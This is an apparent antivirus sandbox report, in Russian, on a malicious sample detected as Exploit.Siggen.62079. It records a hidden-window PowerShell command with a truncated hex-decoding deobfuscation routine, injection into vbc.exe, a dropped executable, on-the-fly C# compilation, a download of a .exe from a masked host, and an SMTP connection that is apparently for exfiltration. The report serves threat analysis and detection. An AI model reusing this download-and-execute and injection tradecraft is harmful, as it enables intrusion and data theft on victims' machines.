Exploit.Siggen.62079

Техническая информация

Вредоносные функции

Запускает на исполнение (эксплоит)

'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden function f3324d {param($x456e)$m624b9='w14169';$u57d47='';for ($i=0; $i -lt $x456e.length;$i+=2){$hddab=[convert]::ToByte($x456e.Substring($i,2),16);$u57d47+=[char]($hddab...

Внедряет код в

следующие системные процессы:

%WINDIR%\microsoft.net\framework\v2.0.50727\vbc.exe

Изменения в файловой системе

Создает следующие файлы

%TEMP%\uxgi26sg.0.cs
%TEMP%\res31bc.tmp
%TEMP%\csc3a66.tmp
%TEMP%\csc3c1c.tmp
%TEMP%\ct2mhpaa.dll
%TEMP%\csc3fc5.tmp
%TEMP%\res3c2c.tmp
%TEMP%\uxgi26sg.dll
%WINDIR%\serviceprofiles\networkservice\appdata\locallow\microsoft\cryptneturlcache\metadata\f0accf77cdcbff39f6191887f6d2d357
%TEMP%\x6olqsrq.dll
%TEMP%\res4091.tmp
%TEMP%\xp2fgcgt.dll
%LOCALAPPDATA%\microsoft\windows\<INETFILES>\content.word\~wrf{5855f599-3314-43ef-a0bb-cda6d48b72b4}.tmp
%APPDATA%\y1e8b9.exe
%TEMP%\034deba6-012c-99fd-34b4-fa0a8f245e04
%TEMP%\-auag8aa.dll
%TEMP%\res3a77.tmp
%TEMP%\res317e.tmp
%TEMP%\-auag8aa.cmdline
%TEMP%\uxgi26sg.cmdline
%TEMP%\uxgi26sg.out
%TEMP%\ct2mhpaa.0.cs
%TEMP%\ct2mhpaa.cmdline
%TEMP%\ct2mhpaa.out
%TEMP%\-auag8aa.0.cs
%TEMP%\-auag8aa.out
%TEMP%\csc316d.tmp
%TEMP%\xp2fgcgt.0.cs
%TEMP%\xp2fgcgt.cmdline
%TEMP%\x6olqsrq.0.cs
%TEMP%\x6olqsrq.cmdline
%TEMP%\xp2fgcgt.out
%TEMP%\x6olqsrq.out
%TEMP%\csc31ac.tmp
%WINDIR%\serviceprofiles\networkservice\appdata\locallow\microsoft\cryptneturlcache\content\f0accf77cdcbff39f6191887f6d2d357

Удаляет следующие файлы

%TEMP%\res317e.tmp
%TEMP%\uxgi26sg.cmdline
%TEMP%\uxgi26sg.pdb
%TEMP%\res3c2c.tmp
%TEMP%\csc3c1c.tmp
%TEMP%\x6olqsrq.out
%TEMP%\x6olqsrq.0.cs
%TEMP%\x6olqsrq.cmdline
%TEMP%\xp2fgcgt.pdb
%TEMP%\x6olqsrq.pdb
%TEMP%\res4091.tmp
%TEMP%\csc3fc5.tmp
%TEMP%\xp2fgcgt.out
%TEMP%\xp2fgcgt.dll
%TEMP%\xp2fgcgt.0.cs
%TEMP%\uxgi26sg.dll
%TEMP%\x6olqsrq.dll
%TEMP%\uxgi26sg.0.cs
%TEMP%\-auag8aa.pdb
%TEMP%\csc316d.tmp
%TEMP%\res31bc.tmp
%TEMP%\-auag8aa.0.cs
%TEMP%\csc31ac.tmp
%TEMP%\-auag8aa.cmdline
%TEMP%\-auag8aa.dll
%TEMP%\-auag8aa.out
%TEMP%\csc3a66.tmp
%TEMP%\ct2mhpaa.dll
%TEMP%\ct2mhpaa.pdb
%TEMP%\ct2mhpaa.0.cs
%TEMP%\ct2mhpaa.cmdline
%TEMP%\ct2mhpaa.out
%TEMP%\res3a77.tmp
%TEMP%\uxgi26sg.out
%TEMP%\xp2fgcgt.cmdline

Сетевая активность

TCP

Запросы HTTP GET

http://on####preneur.id/license/love.exe
http://bo#.####ismyipaddress.com/

'ma##.###fectfashion-bd.com':587

UDP

DNS ASK on####preneur.id
DNS ASK bo#.####ismyipaddress.com
DNS ASK ma##.###fectfashion-bd.com

Другое

Создает и запускает на исполнение

'%APPDATA%\y1e8b9.exe'
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden function f3324d {param($x456e)$m624b9='w14169';$u57d47='';for ($i=0; $i -lt $x456e.length;$i+=2){$hddab=[convert]::ToByte($x456e.Substring($i,2),16);$u57d47+=[char]($hddab...' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\uxgi26sg.cmdline"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\ct2mhpaa.cmdline"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\-auag8aa.cmdline"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES317E.tmp" "%TEMP%\CSC316D.tmp"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES31BC.tmp" "%TEMP%\CSC31AC.tmp"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\xp2fgcgt.cmdline"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\x6olqsrq.cmdline"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES3A77.tmp" "%TEMP%\CSC3A66.tmp"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES3C2C.tmp" "%TEMP%\CSC3C1C.tmp"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES4091.tmp" "%TEMP%\CSC3FC5.tmp"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework\v2.0.50727\vbc.exe' /stext "%TEMP%\tmp7E7A.tmp"' (со скрытым окном)

Запускает на исполнение

'%ProgramFiles%\microsoft office\office14\excel.exe' -Embedding
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\uxgi26sg.cmdline"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\ct2mhpaa.cmdline"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\-auag8aa.cmdline"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES317E.tmp" "%TEMP%\CSC316D.tmp"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES31BC.tmp" "%TEMP%\CSC31AC.tmp"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\xp2fgcgt.cmdline"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\x6olqsrq.cmdline"
'%ProgramFiles%\microsoft office\office14\excelcnv.exe' -Embedding
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES3A77.tmp" "%TEMP%\CSC3A66.tmp"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES3C2C.tmp" "%TEMP%\CSC3C1C.tmp"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES4091.tmp" "%TEMP%\CSC3FC5.tmp"
'%WINDIR%\microsoft.net\framework\v2.0.50727\regsvcs.exe'
'%WINDIR%\microsoft.net\framework\v2.0.50727\vbc.exe' /stext "%TEMP%\tmp7E7A.tmp"